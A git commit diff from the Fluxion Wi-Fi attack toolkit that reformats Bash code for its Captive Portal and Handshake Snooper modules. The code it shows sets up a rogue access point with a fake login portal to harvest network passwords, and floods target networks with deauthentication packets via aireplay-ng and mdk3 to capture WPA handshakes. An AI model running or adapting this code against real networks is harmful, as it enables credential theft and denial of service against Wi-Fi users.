Set styleguide and minor changes

This commit is contained in:
William Todt 2017-12-31 17:02:12 +01:00
parent 16932796c0
commit 26fec898e1
21 changed files with 2075 additions and 1998 deletions

View File

@ -22,8 +22,10 @@ function captive_portal_run_interface() {
local wiAccessPoint="FX${1:2}AP" local wiAccessPoint="FX${1:2}AP"
# Find interface's physical device. # Find interface's physical device.
if ! interface_physical "$1" if ! interface_physical "$1"; then
then echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"; sleep 5; return 1 echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"
sleep 5
return 1
fi fi
local wiAccessPointDevice="$InterfacePhysical" local wiAccessPointDevice="$InterfacePhysical"
@ -45,8 +47,7 @@ function captive_portal_run_interface() {
function captive_portal_unset_interface() { function captive_portal_unset_interface() {
if [ ! "$WIAccessPoint" ]; then return 1; fi if [ ! "$WIAccessPoint" ]; then return 1; fi
if interface_is_wireless "$WIAccessPoint" if interface_is_wireless "$WIAccessPoint"; then fluxion_unset_ap_service
then fluxion_unset_ap_service
fi fi
if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then
@ -77,29 +78,32 @@ function captive_portal_set_interface() {
ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@] ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@]
case "$InterfacePromptIfSelected" in case "$InterfacePromptIfSelected" in
"$FLUXIONGeneralBackOption") captive_portal_unset_interface; return 1;; "$FLUXIONGeneralBackOption")
captive_portal_unset_interface
return 1
;;
# If the monitor interface is also the AP interface, # If the monitor interface is also the AP interface,
# there's no need to reserve it again, just add it. # there's no need to reserve it again, just add it.
"$WIMonitor") "$WIMonitor")
if ! captive_portal_run_interface "$InterfacePromptIfSelected" if ! captive_portal_run_interface "$InterfacePromptIfSelected"; then return 1
then return 1
fi fi
WIAccessPoint="$CaptivePortalRunInterface";; WIAccessPoint="$CaptivePortalRunInterface"
;;
*) *)
# We'll only attempt to run wireless interfaces for now. # We'll only attempt to run wireless interfaces for now.
# The conditional below is a temporary fix for ethernet interfaces. # The conditional below is a temporary fix for ethernet interfaces.
# TODO: Fix fluxion_run_interface to accept non-wireless interfaces. # TODO: Fix fluxion_run_interface to accept non-wireless interfaces.
if interface_is_wireless "$InterfacePromptIfSelected"; then if interface_is_wireless "$InterfacePromptIfSelected"; then
if ! fluxion_run_interface "$InterfacePromptIfSelected" if ! fluxion_run_interface "$InterfacePromptIfSelected"; then return 2
then return 2
fi fi
WIAccessPoint="$FluxionRunInterface" WIAccessPoint="$FluxionRunInterface"
else else
WIAccessPoint="$InterfacePromptIfSelected" WIAccessPoint="$InterfacePromptIfSelected"
fi;; fi
;;
esac esac
VIGW=$WIAccessPoint VIGW=$WIAccessPoint
@ -107,8 +111,9 @@ function captive_portal_set_interface() {
# Set an AP service if the interface selected is wireless. # Set an AP service if the interface selected is wireless.
if interface_is_wireless "$WIAccessPoint"; then if interface_is_wireless "$WIAccessPoint"; then
if ! fluxion_set_ap_service if ! fluxion_set_ap_service; then
then captive_portal_unset_interface; return 1 captive_portal_unset_interface
return 1
fi fi
fi fi
} }
@ -160,20 +165,25 @@ function captive_portal_set_auth() {
APRogueAuthMode="${IOQueryFormatFields[0]}" APRogueAuthMode="${IOQueryFormatFields[0]}"
# If we're going back, reset everything and abort. # If we're going back, reset everything and abort.
if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]] if [[ "$APRogueAuthMode" == "$FLUXIONGeneralBackOption" ]]; then
then captive_portal_unset_auth; return 1 captive_portal_unset_auth
return 1
fi fi
fi fi
# Process the authentication method selected. # Process the authentication method selected.
captive_portal_set_auth_processingResult=1 # Assume failure. captive_portal_set_auth_processingResult=1 # Assume failure.
case "$APRogueAuthMode" in case "$APRogueAuthMode" in
"hash") fluxion_set_hash; captive_portal_set_auth_processingResult=$?;; "hash")
fluxion_set_hash
captive_portal_set_auth_processingResult=$?
;;
esac esac
# Assure authentication method processing was successful, abort otherwise. # Assure authentication method processing was successful, abort otherwise.
if [[ $captive_portal_set_auth_processingResult -ne 0 ]] if [[ $captive_portal_set_auth_processingResult -ne 0 ]]; then
then captive_portal_unset_auth; return 1; captive_portal_unset_auth
return 1
fi fi
} }
@ -206,13 +216,14 @@ function captive_portal_set_cert() {
CaptivePortalSSL="enabled" # Must be enabled if sourcing own certificate CaptivePortalSSL="enabled" # Must be enabled if sourcing own certificate
echo "Captive Portal certificate was user supplied, skipping query!" >$FLUXIONOutputDevice echo "Captive Portal certificate was user supplied, skipping query!" >$FLUXIONOutputDevice
return 0; return 0
fi fi
if [ "$FLUXIONAuto" ]; then if [ "$FLUXIONAuto" ]; then
# If cert generator fails, gtfo, something broke! # If cert generator fails, gtfo, something broke!
if ! captive_portal_run_certificate_generator if ! captive_portal_run_certificate_generator; then
then fluxion_conditional_bail "cert-gen failed!"; return 2 fluxion_conditional_bail "cert-gen failed!"
return 2
fi fi
CaptivePortalSSL="enabled" CaptivePortalSSL="enabled"
else else
@ -225,19 +236,31 @@ function captive_portal_set_cert() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$CaptivePortalCertificateSourceGenerateOption") "$CaptivePortalCertificateSourceGenerateOption")
# If cert generator fails, gtfo, something broke! # If cert generator fails, gtfo, something broke!
if ! captive_portal_run_certificate_generator if ! captive_portal_run_certificate_generator; then
then fluxion_conditional_bail "cert-gen failed!"; return 2 fluxion_conditional_bail "cert-gen failed!"
return 2
fi fi
CaptivePortalSSL="enabled";; CaptivePortalSSL="enabled"
;;
"$CaptivePortalCertificateSourceRescanOption") "$CaptivePortalCertificateSourceRescanOption")
captive_portal_set_cert; return $?;; captive_portal_set_cert
return $?
;;
"$CaptivePortalCertificateSourceDisabledOption") "$CaptivePortalCertificateSourceDisabledOption")
captive_portal_unset_cert; CaptivePortalSSL="disabled";; captive_portal_unset_cert
CaptivePortalSSL="disabled"
;;
"$FLUXIONGeneralBackOption") captive_portal_unset_cert; return 1;; "$FLUXIONGeneralBackOption")
*) fluxion_conditional_bail "Unknown cert-gen option!"; return 2;; captive_portal_unset_cert
return 1
;;
*)
fluxion_conditional_bail "Unknown cert-gen option!"
return 2
;;
esac esac
fi fi
} }
@ -257,8 +280,14 @@ function captive_portal_set_conn() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected" ;; "$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected" ;;
"$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated" ;; "$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated" ;;
"$FLUXIONGeneralBackOption") captive_portal_unset_conn; return 1;; "$FLUXIONGeneralBackOption")
*) fluxion_conditional_bail "Unknown connectivity option!"; return 2;; captive_portal_unset_conn
return 1
;;
*)
fluxion_conditional_bail "Unknown connectivity option!"
return 2
;;
esac esac
} }
@ -269,7 +298,7 @@ function captive_portal_unset_site() {
function captive_portal_set_site() { function captive_portal_set_site() {
if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then
echo "Captive Portal site (interface) is already set, skipping!" >$FLUXIONOutputDevice echo "Captive Portal site (interface) is already set, skipping!" >$FLUXIONOutputDevice
return 0; return 0
fi fi
captive_portal_unset_site captive_portal_unset_site
@ -280,7 +309,7 @@ function captive_portal_set_site() {
if [ -d attacks/Captive\ Portal/generic/languages ]; then if [ -d attacks/Captive\ Portal/generic/languages ]; then
# Retrieve all generic sites available. # Retrieve all generic sites available.
for site in attacks/Captive\ Portal/generic/languages/*.lang; do for site in attacks/Captive\ Portal/generic/languages/*.lang; do
sites+=("${CaptivePortalGenericInterfaceOption}_`basename "${site%.lang}"`") sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")")
done done
fi fi
@ -289,7 +318,7 @@ function captive_portal_set_site() {
# Retrieve all available portal sites and # Retrieve all available portal sites and
# store them without the .portal extension. # store them without the .portal extension.
for site in attacks/Captive\ Portal/sites/*.portal; do for site in attacks/Captive\ Portal/sites/*.portal; do
sites+=("`basename "${site%.portal}"`") sites+=("$(basename "${site%.portal}")")
done done
fi fi
@ -319,15 +348,18 @@ function captive_portal_set_site() {
case "$site" in case "$site" in
"$CaptivePortalGenericInterfaceOption") "$CaptivePortalGenericInterfaceOption")
source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
captive_portal_generic;; captive_portal_generic
;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
captive_portal_unset_site captive_portal_unset_site
return 1;; return 1
;;
*) *)
cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \ cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \
"$FLUXIONWorkspacePath/captive_portal" "$FLUXIONWorkspacePath/captive_portal"
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;;; find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;
;;
esac esac
} }
@ -340,8 +372,7 @@ function captive_portal_unset_attack() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
# Only reset the AP if one has been defined. # Only reset the AP if one has been defined.
if [ "$APRogueService" -a "`type -t ap_reset`" ] if [ "$APRogueService" -a "$(type -t ap_reset)" ]; then ap_reset
then ap_reset
fi fi
} }
@ -385,8 +416,7 @@ function captive_portal_get_MAC_brand() {
# Create different settings required for the script # Create different settings required for the script
function captive_portal_set_attack() { function captive_portal_set_attack() {
# AP Service: Prepare service for an attack. # AP Service: Prepare service for an attack.
if [ "$APRogueService" ] if [ "$APRogueService" ]; then ap_prep
then ap_prep
fi fi
# Add the PHP authenticator scripts, used to verify # Add the PHP authenticator scripts, used to verify
@ -711,7 +741,6 @@ while [ \$AuthenticatorState = \"running\" ]; do
echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
if [ $APRogueAuthMode = "hash" ]; then if [ $APRogueAuthMode = "hash" ]; then
echo " echo "
sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
@ -929,8 +958,7 @@ function captive_portal_set_routes() {
function captive_portal_stop_interface() { function captive_portal_stop_interface() {
captive_portal_unset_routes captive_portal_unset_routes
if [ "$APRogueService" ] if [ "$APRogueService" ]; then ap_stop
then ap_stop
fi fi
} }
@ -976,21 +1004,32 @@ function unprep_attack() {
function prep_attack() { function prep_attack() {
while true; do while true; do
captive_portal_set_interface; if [ $? -ne 0 ]; then break; fi captive_portal_set_interface
captive_portal_set_auth; if [ $? -ne 0 ]; then if [ $? -ne 0 ]; then break; fi
captive_portal_unset_interface; continue captive_portal_set_auth
if [ $? -ne 0 ]; then
captive_portal_unset_interface
continue
fi fi
captive_portal_set_cert; if [ $? -ne 0 ]; then captive_portal_set_cert
captive_portal_unset_auth; continue if [ $? -ne 0 ]; then
captive_portal_unset_auth
continue
fi fi
captive_portal_set_conn; if [ $? -ne 0 ]; then captive_portal_set_conn
captive_portal_unset_cert; continue if [ $? -ne 0 ]; then
captive_portal_unset_cert
continue
fi fi
captive_portal_set_site; if [ $? -ne 0 ]; then captive_portal_set_site
captive_portal_unset_conn; continue if [ $? -ne 0 ]; then
captive_portal_unset_conn
continue
fi fi
captive_portal_set_attack; if [ $? -ne 0 ]; then captive_portal_set_attack
captive_portal_unset_site; continue if [ $? -ne 0 ]; then
captive_portal_unset_site
continue
fi fi
CaptivePortalState="Ready" CaptivePortalState="Ready"
break break
@ -999,7 +1038,7 @@ function prep_attack() {
# Check for prep abortion. # Check for prep abortion.
if [ "$CaptivePortalState" != "Ready" ]; then if [ "$CaptivePortalState" != "Ready" ]; then
unprep_attack unprep_attack
return 1; return 1
fi fi
} }

View File

@ -15,8 +15,7 @@ function handshake_snooper_arbiter_daemon() {
function handshake_snooper_arbiter_daemon_abort() { function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted" handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ] if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
then kill $handshake_snooper_arbiter_daemon_viewerPID
fi fi
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
@ -47,8 +46,9 @@ function handshake_snooper_arbiter_daemon() {
# Keep snooping and verifying until we've got a valid hash from the capture file. # Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] `io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice`" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval & wait $! # Using wait to asynchronously catch flags while waiting. sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking. # If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
@ -92,8 +92,7 @@ function handshake_snooper_arbiter_daemon() {
} }
function handshake_snooper_stop_captor() { function handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ] if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
then kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKECaptorPID="" HANDSHAKECaptorPID=""
@ -110,14 +109,14 @@ function handshake_snooper_start_captor() {
local parentPID=$! local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do while [ ! "$HANDSHAKECaptorPID" ]; do
sleep 1 & wait $! sleep 1 &
wait $!
HANDSHAKECaptorPID=$(pgrep -P $parentPID) HANDSHAKECaptorPID=$(pgrep -P $parentPID)
done done
} }
function handshake_snooper_stop_deauthenticator() { function handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ] if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
then kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKEDeauthenticatorPID="" HANDSHAKEDeauthenticatorPID=""
@ -131,17 +130,21 @@ function handshake_snooper_start_deauthenticator() {
# Prepare deauthenticators # Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst "$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac esac
# Start deauthenticators. # Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ "$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" & "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
HANDSHAKEDeauthenticatorPID=$!;; HANDSHAKEDeauthenticatorPID=$!
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ ;;
"$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" & "while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!;; HANDSHAKEDeauthenticatorPID=$!
;;
esac esac
} }
@ -186,7 +189,8 @@ function handshake_snooper_set_verifier_identifier() {
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;; "$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
return 1;; return 1
;;
esac esac
} }
@ -208,7 +212,8 @@ function handshake_snooper_set_verifier_interval() {
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;; "$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
return 1;; return 1
;;
esac esac
} }
@ -229,7 +234,8 @@ function handshake_snooper_set_verifier_synchronicity() {
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;; "$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
return 1;; return 1
;;
esac esac
} }
@ -248,15 +254,22 @@ function prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture" mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do while true; do
handshake_snooper_set_deauthenticator_identifier; if [ $? -ne 0 ]; then break; fi handshake_snooper_set_deauthenticator_identifier
handshake_snooper_set_verifier_identifier; if [ $? -ne 0 ]; then if [ $? -ne 0 ]; then break; fi
handshake_snooper_unset_deauthenticator_identifier; continue handshake_snooper_set_verifier_identifier
if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier
continue
fi fi
handshake_snooper_set_verifier_interval; if [ $? -ne 0 ]; then handshake_snooper_set_verifier_interval
handshake_snooper_unset_verifier_identifier; continue if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier
continue
fi fi
handshake_snooper_set_verifier_synchronicity; if [ $? -ne 0 ]; then handshake_snooper_set_verifier_synchronicity
handshake_snooper_unset_verifier_interval; continue; if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi fi
HandshakeSnooperState="Ready" HandshakeSnooperState="Ready"
break break
@ -265,7 +278,7 @@ function prep_attack() {
# Check for handshake abortion. # Check for handshake abortion.
if [ "$HandshakeSnooperState" != "Ready" ]; then if [ "$HandshakeSnooperState" != "Ready" ]; then
unprep_attack unprep_attack
return 1; return 1
fi fi
} }

View File

@ -3,7 +3,8 @@
################################ < FLUXION Parameters > ################################ ################################ < FLUXION Parameters > ################################
# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called # NOTE: The FLUXIONPath constant will not be populated correctly if the script is called
# directly via a symlink. Symlinks in the path to the script should work completely fine. # directly via a symlink. Symlinks in the path to the script should work completely fine.
declare -r FLUXIONPath="$( cd "$(dirname "$0")" ; pwd -P )" declare -r FLUXIONPath="$(cd "$(dirname "$0")" ;pwd -P
)"
declare -r FLUXIONWorkspacePath="/tmp/fluxspace" declare -r FLUXIONWorkspacePath="/tmp/fluxspace"
declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes" declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
@ -13,7 +14,7 @@ declare -r FLUXIONNoiseFloor=-90
declare -r FLUXIONNoiseCeiling=-60 declare -r FLUXIONNoiseCeiling=-60
declare -r FLUXIONVersion=3 declare -r FLUXIONVersion=3
declare -r FLUXIONRevision=10 declare -r FLUXIONRevision=11
declare -r FLUXIONDebug=${FLUXIONDebug:+1} declare -r FLUXIONDebug=${FLUXIONDebug:+1}
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1} declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
@ -107,22 +108,19 @@ function fluxion_exitmode() {
# Get PIDs of all programs matching targetPID # Get PIDs of all programs matching targetPID
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}') local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
if [ ! "$targetPID" ]; then continue; fi if [ ! "$targetPID" ]; then continue; fi
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`" echo -e "$CWht[$CRed-$CWht] $(io_dynamic_output $FLUXIONKillingProcessNotice)"
killall $targetPID &>$FLUXIONOutputDevice killall $targetPID &>$FLUXIONOutputDevice
done done
# If the installer activated the package manager, make sure to undo any changes. # If the installer activated the package manager, make sure to undo any changes.
if [ "$PackageManagerCLT" ]; then if [ "$PackageManagerCLT" ]; then
echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr" echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr"
unprep_package_manager unprep_package_manager
fi fi
if [ "$WIMonitor" ]; then if [ "$WIMonitor" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr" echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
if [ "$FLUXIONAirmonNG" ] if [ "$FLUXIONAirmonNG" ]; then airmon-ng stop "$WIMonitor" &>$FLUXIONOutputDevice
then airmon-ng stop "$WIMonitor" &> $FLUXIONOutputDevice
else interface_set_mode "$WIMonitor" "managed" else interface_set_mode "$WIMonitor" "managed"
fi fi
fi fi
@ -166,9 +164,11 @@ function fluxion_conditional_clear() {
} }
function fluxion_conditional_bail() { function fluxion_conditional_bail() {
echo ${1:-"Something went wrong, whoops! (report this)"}; sleep 5 echo ${1:-"Something went wrong, whoops! (report this)"}
if [ ! $FLUXIONDebug ] sleep 5
then fluxion_handle_exit; return 1 if [ ! $FLUXIONDebug ]; then
fluxion_handle_exit
return 1
fi fi
echo "Press any key to continue execution..." echo "Press any key to continue execution..."
read bullshit read bullshit
@ -210,16 +210,16 @@ function fluxion_header() {
format_apply_autosize "[%*s]\n" format_apply_autosize "[%*s]\n"
local verticalBorder=$FormatApplyAutosize local verticalBorder=$FormatApplyAutosize
format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"; format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"
local headerTextFormat="$FormatApplyAutosize" local headerTextFormat="$FormatApplyAutosize"
fluxion_conditional_clear fluxion_conditional_clear
echo -e "`printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g"`" echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")"
printf "$CSRed$verticalBorder" "" printf "$CSRed$verticalBorder" ""
printf "$headerTextFormat" "" "" printf "$headerTextFormat" "" ""
printf "$CSBlu$verticalBorder" "" printf "$CSBlu$verticalBorder" ""
echo -e "`printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g"`$CClr" echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr"
echo echo
echo echo
} }
@ -233,35 +233,42 @@ fi
if [ ! $FLUXIONDebug ]; then if [ ! $FLUXIONDebug ]; then
FLUXIONBanner=() FLUXIONBanner=()
format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"; FLUXIONBanner+=("$FormatCenterLiterals"); format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"
format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"; FLUXIONBanner+=("$FormatCenterLiterals"); FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"; FLUXIONBanner+=("$FormatCenterLiterals"); format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"; FLUXIONBanner+=("$FormatCenterLiterals"); FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner+=("$FormatCenterLiterals"); format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner+=("$FormatCenterLiterals"); FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"
FLUXIONBanner+=("$FormatCenterLiterals")
clear clear
if [ "$FLUXIONAuto" ] if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"
then echo -e "$CBlu"
else echo -e "$CRed" else echo -e "$CRed"
fi fi
for line in "${FLUXIONBanner[@]}" for line in "${FLUXIONBanner[@]}"; do
do echo "$line"; sleep 0.05 echo "$line"
sleep 0.05
done done
#echo "${FLUXIONBanner[@]}" #echo "${FLUXIONBanner[@]}"
echo echo
sleep 0.1 sleep 0.1
format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"; echo -e "$FormatCenterLiterals" format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"
echo -e "$FormatCenterLiterals"
sleep 0.1 sleep 0.1
format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"; echo -e "$FormatCenterLiterals" format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"
echo -e "$FormatCenterLiterals"
sleep 0.1 sleep 0.1
